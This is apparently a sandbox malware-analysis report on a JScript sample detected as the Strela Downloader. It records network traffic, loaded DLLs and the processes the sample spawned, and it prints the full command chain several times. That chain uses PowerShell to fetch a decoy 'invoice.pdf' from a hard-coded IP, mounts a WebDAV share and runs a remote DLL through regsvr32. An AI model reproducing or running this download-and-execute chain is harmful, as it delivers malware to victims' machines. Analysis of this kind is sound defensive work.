Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2088948926.000001DFA3BDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2142959752.000002D3B37FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146326834.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2143895538.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146446307.000002D3B37FF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146267121.000002D3B37A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2146267121.000002D3B37A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.2146326834.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2143895538.000002D3B37D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.3386914129.0000019DBAE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2143507298.0000019DBAC00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7080, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 91931239167124381.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7160:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgy4zr3b.2un.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1736,i,1882403931512097069,11823201938671054370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1736,i,1882403931512097069,11823201938671054370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
